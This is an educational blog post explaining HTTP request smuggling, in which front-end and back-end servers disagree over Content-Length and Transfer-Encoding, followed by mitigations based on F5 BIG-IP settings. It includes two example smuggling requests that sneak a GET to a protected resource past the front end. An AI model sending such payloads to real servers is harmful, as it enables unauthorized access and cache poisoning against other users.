HTTP Request Smuggling, what it is, how to find it and how to stop it

This is a complex topic filled with nuance and... wait, that will put you all off. Let me start again:

HTTP Request Smuggling is a big topic if we want to discuss all the many ways it can be exploited, but if we stick to first principles it can be broken down quite simply and that’s what I’d like to do here – give you a primer on Request Smuggling and then some additional reading resources if you want to really dive into the topic. If there is interest after that, perhaps I’ll try and put my own spin on some of the details. Deal? Right, onward!

Pre-requisites

As the name implies, if you want to understand HTTP Request Smuggling, first you need to understand at least the basics of HTTP as a protocol – and we’re going to concentrate on HTTP/1.x here because although HTTP/2 is susceptible to similar attacks the underlying protocol is very different and trying to introduce both here will really muddy the waters!

So, if you don’t already know HTTP well, you’re going to at least need to know the basic anatomy of an HTTP request – not all the bells and whistles but at least that there is a request line which contains the method (GET, POST etc.), the resource (usually a URI like “/index.html”) and the protocol version (e.g., HTTP/1.1) followed by zero or more headers and an optional message body. Crucially, you need to remember that each of those lines is terminated by a CRLF (Carriage Return / Line Feed or 0x0d0x0a hex) pair.

Handily, my colleague JRahm has already written an entire series on HTTP and the important bit for our purposes is in Part III, Terminology.

I also need to you keep in mind that at its birth, HTTP was envisioned as a one-request-per-connection kind of protocol - the client and server would have to, in a serial fashion, request each resource they needed in a new TCP connection. This was fine when pages were simple text or perhaps text with one or two other resources like pictures, but as pages ballooned in size and began pulling in tens or dozens of additional resources this quickly became a limiting factor in performance and, thus, the Keep-Alive header (HTTP/1.0) was introduced and ultimately made the default behavior (HTTP/1.1) allowing browsers to use one TCP connection to request many resources.

Further complicating matters, HTTP Pipelining was introduced which allowed browsers to request multiple resources before the server has had chance to return any; let’s say the browser requests the HTML and realizes it needs the CSS, five images and the contents of an iFrame, it can go ahead and request all of those objects at the same time and then let the server return them at its leisure, all via one TCP connection.

You can read more about Keep-Alive behavior and HTTP Pipelining in Lori_MacVittie's excellent article from 2009, but even with my 5000ft overview I think you can see how HTTP, given it is a text protocol and the flow control is entirely based on CRLF pairs, is getting quite complex.. and complex protocols are prone to RFC interpretation problems.

RFC interpretation problems?

Aren’t RFCs the gold-standard of documentation, you might ask, defining exactly how support for a technology should be implemented?

Well yes, but also no. Yes, they are the gold standard, they do define how a technology or protocol should be implemented at a high level, but if you’ve ever tried to read one you will know that they are also littered with the words “MAY” and “SHOULD” along with endless cross-references to other RFCs.

Every time there is a “MAY” or “SHOULD”, precise implementation is open for interpretation and not every software developer is going to interpret the instruction the same way, and that is just the obvious example! There are plenty of places where a “MUST” is interpreted incorrectly, or where a software vendor is forced to accommodate some non-RFC compliant behavior on the part of another piece of software (say a proxy vendor might have to accommodate non-compliant browsers or servers as was extremely common back in the dark ages of the Internet .. three weeks ago).

RFCs are also often huge – RFC2068 (HTTP/1.1) is 162 pages, for example. Now bear in mind that RFC2068 was obsoleted by RFC2616 which is 176 pages, which was subsequently obsoleted by RFC7230 (88 pages), RFC7231 (100 pages), RFC7232 (27 pages), RFC7233 (24 pages), RFC7234 (42 pages) and RFC7235 (18 pages) for a total of 299 pages and that these were subsequently obsoleted by RFC9110 which says “This document updates RFC 3864 and obsoletes RFCs 2818, 7231, 7232, 7233, 7235, 7538, 7615, 7694, and portions of 7230.”

So, when we say “HTTP/1.1” we aren’t even talking about a single “standard” but many, interrelated in complex ways.

All of this adds up to mean that not everyone is implementing any given RFC in the same way... there are disagreements.

Get to the smuggling already!

OK, ok.

HTTP Request Smuggling is a principle by which we can smuggle, or hide, a malicious request within an innocent one such that we either directly or indirectly manipulate back-end resources.

It is a technique made possible because of both the complexity of HTTP as a protocol, the differing implementations of it, and the fact that modern deployments often layer two or more HTTP “servers” atop each other to proxy requests from clients through to different back-end resources. The modern web has come a long way from Netscape Navigator sending a single request per connection to an Apache 1.0 webserver!

So how does it work?

The HTTP RFC provides clients with two mutually exclusive ways to tell a server how much data the client is sending: Transfer-Encoding and Content-Length.

Content-Length is the easiest to understand, it is simply the number of bytes of body content being sent with the request, for example:

POST /login.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

user=test&password=password123

Transfer-Encoding, on the other hand, allows the client to specify “chunked encoding” which allows the client to start sending data even if the client doesn’t know yet how long the body content is going to be (perhaps the data is being streamed from somewhere). The body data in this case is sent in multiple chunks with each chunk containing the chunk size and the chunk data, with the end of the data signified by a chunk with no data and a size of 0, for example:

POST /login.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

1E
user=test&password=password123
0

If you weren’t aware that a client could send a chunked request you are not alone – it is rarely seen in requests sent by browsers and is much more common in server responses, but it is valid for requests.

Right, that all seems rigidly defined, so where is the problem? Except this wasn’t exactly clearly spelled out until RFC7230 in 2014, which added:

A sender MUST NOT send a Content-Length header field in any message
that contains a Transfer-Encoding header field.

Along with:

If a message is received with both a Transfer-Encoding and a
Content-Length header field, the Transfer-Encoding overrides the
Content-Length.  Such a message might indicate an attempt to
perform request smuggling (Section 9.5) or response splitting
(Section 9.4) and ought to be handled as an error.  A sender MUST
remove the received Content-Length field prior to forwarding such
a message downstream.

Perhaps because of this late addition, not all servers agree on how they should handle a request containing both a Content-Length and Transfer-Encoding header; do they treat it as a chunked request, or do they treat it as a fixed-length request? If you have multiple servers in your stack, proxying requests from one server to the next, and they don’t agree on which header takes precedence then you have potential for a Request Smuggling attack.

A short practical example

I’m just going to give two examples here and then provide you with some further reading if you want to dive deeper and find all of the other ways requests can be smuggled.

In this first example you have a front-end server which respects the Content-Length header and ignores the Transfer-Encoding header (when both are present) and a back-end server which respects the Transfer-Encoding header:

POST /login.php HTTP/1.1
Host: vulnerable.example.com
Content-Length: 41
Transfer-Encoding: chunked

0
GET /protectedresource.html HTTP/1.1

To you, the reader, this probably looks like two pipelined requests, however if the front-end server respects the Content-Length then it assumes this entire payload is one request through to the end of “HTTP/1.1” after the GET. Meanwhile, if the back-end server respects only the Transfer-Encoding header it will see this as two requests; the first a POST for /login.php and the second is the start of a GET to some /protectedresource.html lacking the rest of the request.

So, what’s the problem? The second request (from the back-end server’s perspective) is incomplete, so the server will then waits for the rest of the request. If we send another request quickly enough, there’s a chance (depending on how the front-end server handles connection pooling) that our next request will be attached to the end of that partial smuggled request. If the back-end server assumes that the front-end checked to see whether we were able to request /protectedresource.html and doesn’t check itself, then it’s quite possible we’ll get access to a page we shouldn’t be able to access (regardless of whether our first POST to /login.php succeeded or not).

Graphed out, it would look something like this; the attacker’s POST to /login.php is coloured blue with the smuggled GET to /protectedresource.html coloured green, the subsequent GET to /favicon.ico used to recover the response to our smuggled GET is orange:

In our second example, the front-end server respects the Transfer-Encoding header while the back-end server respects the Content-Length header and our attack might look like this:

POST /login.php HTTP/1.1
Host: vulnerable.example.com
Content-Length: 4
Transfer-Encoding: chunked

24
GET /protectedresource.html HTTP/1.0
0

Here the front-end server is going to handle the entire request as though it has a chunked body containing 36 bytes (24 in hex) of content meaning it will most likely ignore the smuggled request entirely (proxies, aside from Web Application Firewalls, aren’t in the habit of inspecting request body content), while the back-end server will treat the POST as though it has 4 bytes of request body (which would be just “24” followed by the CRLF) and will potentially treat the GET as a second request. Once again, we might be able to accomplish the same as in our first scenario and sneak a request for a protected resource through to the back-end and get the results back.

In both examples there is another ‘successful’ scenario in which a legitimate user is the next person to send a request and it is their request which gets ‘glued’ to the end of our smuggled partial request. In that scenario the legitimate user will get a response for something they didn’t request (/protectedresource.html, in our example). What use is that you might ask? Well, if we can manipulate the responses served to a legitimate client then we can attempt attacks like cache poisoning and response header manipulation against unsuspecting users as well as the previously described attack.

But wait, there’s more!

There are more variations than just the two I’ve described so far; things like Transfer-Encoding confusion, HTTP/2 variants of the same attack, browser-powered request smuggling and so on, so if you’d like to do some further reading here are a few resources I consider authoritative on the matter:

What do I do to protect myself?

Ideally, you want to ensure that everything in your stack rigidly enforces RFCs in exactly the same way. Unfortunately, back in the real world, that is almost impossible..

If you are using BIG-IP LTM 15.0.1.1 or later (and you should be!), enable the “Enforce RFC Compliance” feature in the HTTP profile (off by default for legacy compatibility with non-compliant clients and servers, of which we still see quite a few); in early versions this option is set globally using a DB key. See K50375550 for more information.

If you have it, deploy BIG-IP ASM in your proxy stack, and ensure you have policies in blocking mode with appropriate settings (also described in K50375550).

If you are using HTTP/2 on the front end and proxying to HTTP/1.x, check out K27144609 – the highlights are, again, ensure you’ve deployed BIG-IP ASM in the stack and that you are running up-to-date F5 software.

You could, of course, turn to a service like F5 Distributed Cloud where such proxy protections can be implemented as part of a SaaS stack, rather than deployed locally.

Once all that is taken care of I suggest reading Portswiggers advice for finding request smuggling vulnerabilities and/or employing the services of a reputable penetration tester who is familiar with the technique and then use the technologies in your stack to address any specific concerns raised as a part of that engagement.

That's all for now and I hope you found that useful - let me know if you'd like me to dive into any specific areas!

Published Mar 29, 2023

Version 1.0